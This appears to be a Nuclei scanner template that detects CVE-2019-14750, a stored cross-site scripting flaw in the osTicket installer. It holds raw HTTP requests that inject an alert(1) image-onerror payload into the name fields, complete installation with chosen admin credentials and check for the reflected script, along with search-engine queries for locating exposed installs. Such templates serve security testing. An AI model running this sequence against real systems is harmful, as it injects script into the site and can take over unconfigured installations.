osTicket < 1.12.1 - Cross-Site Scripting

id: CVE-2019-14750

info:
  name: osTicket < 1.12.1 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to version 1.12.1 or later to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14750
    - http://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
    - https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12
    - https://github.com/osTicket/osTicket/releases/tag/v1.10.7
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14750
    cwe-id: CWE-79
    epss-score: 0.10902
    epss-percentile: 0.95909
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: osticket
    product: osticket
    shodan-query:
      - title:"osTicket"
      - http.title:"osticket"
      - http.html:"powered by osticket"
      - http.title:"osticket installer"
    fofa-query:
      - title="osticket"
      - body="powered by osticket"
      - title="osticket installer"
    google-query:
      - intitle:"osticket"
      - intitle:"osticket installer"
  tags: cve,cve2019,packetstorm,osticket,xss,intrusive,vuln
variables:
  user_name: "{{to_lower(rand_text_alphanumeric(6))}}"
  user_pass: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST /upload/setup/install.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        s=install&name={{user_name}}&email={{user_email}}&lang_id=en_US&fname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&lname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&admin_email={{user_email}}&username={{user_name}}&passwd={{user_pass}}&passwd2={{user_pass}}&prefix=ost_&dbhost={{dbhost}}&dbname=tt&dbuser={{username}}&dbpass={{password}}&timezone=Asia%2FTokyo
      - |
        GET /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{user_name}}&passwd={{user_pass}}&ajax=1
      - |
        GET /upload/scp/settings.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '<img src=x onerror=alert(1);>'
          - 'getConfig().resolve'
        condition: and

      - type: word
        part: header_4
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true